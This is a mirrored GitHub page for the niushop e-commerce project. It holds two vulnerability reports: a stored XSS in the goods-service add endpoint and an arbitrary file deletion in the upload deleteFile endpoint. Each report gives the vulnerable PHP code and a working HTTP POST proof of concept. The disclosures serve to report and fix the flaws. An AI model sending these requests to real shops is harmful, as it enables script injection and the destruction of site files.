GithubHelp home page GithubHelp logo

niuteam / niushop Goto Github PK

View Code? Open in Web Editor NEW
46.0 46.0 9.0 35.52 MB

Niushop单商户V4版,微信商城、小程序商城,支持分销、团购、直播、秒杀、优惠券、自定义页面等众多营销功能,插件化开发,全开源,更适合二开。做最牛、功能最强大的开源商城。Q群:819433211 / 29507902 / 480373854。官网:https://www.niushop.com

License: Apache License 2.0

Shell 0.01% PHP 32.63% HTML 23.32% CSS 8.81% JavaScript 34.39% SCSS 0.39% Smarty 0.45%

niushop's People

Contributors

lj81020302 avatar niuteam avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

niushop's Issues

Storage XSS vulnerability in background management

Vulnerability location:
/shop/goodsservice/add

    public function add()
    {
        if (request()->isAjax()) {
            $service_name = input('service_name', '');
            $data         = [
                'site_id'      => $this->site_id,
                'service_name' => $service_name,
                'desc'         => input('desc', 0)
            ];
            $model        = new GoodsServiceModel();
            $res          = $model->addService($data);
            return $res;
        }
    }

Problem parameters:input

After debugging, it is found that no special string is filtered

Execute the POC below to insert an XSS
poc:

POST /shop/goodsservice/add.html HTTP/1.1
Host: 192.168.30.107:88
Content-Length: 105
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.30.107:88
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.30.107:88/shop/goodsservice/lists.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=c960d40bde422ace2afc7939478900a1
Connection: close

service_name=%22%3E%3CScript%3Ealert(111)%3C%2Fscript%3E&desc=%22%3E%3CScript%3Ealert(111)%3C%2Fscript%3E

image
image

Arbitrary file deletion vulnerability

Vulnerability location:/shop/upload/deleteFile

public function deleteFile()
    {
        if (request()->isAjax()) {
            $path = input("path", '');
            $res = false;
            if (!empty($path)) {
                $res = delFile($path);
            }
            return $res;
        }
}

Vulnerability approach:delFile

function delFile($path)
{
    $res = false;
    if (file_exists($path)) {
        $res = unlink($path);
    }
    return $res;
}

Because there are no cleaning parameters,Causes arbitrary file deletion
Fragile approach:INPUT

For example, create a 1.txt file in the root directory of the website,Then try to delete it

Perform the following POC,You need to log in first
poc:
POST /shop/upload/deleteFile HTTP/1.1
Host: 192.168.30.107:88
Content-Length: 10
Accept: application/json, text/javascript, /; q=0.01
Origin: http://192.168.30.107:88
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.30.107:88/shop/goodsservice/lists.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=c960d40bde422ace2afc7939478900a1
Connection: close

path=1.txt

Return true, delete successfully
image

Return false, deletion failed
image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.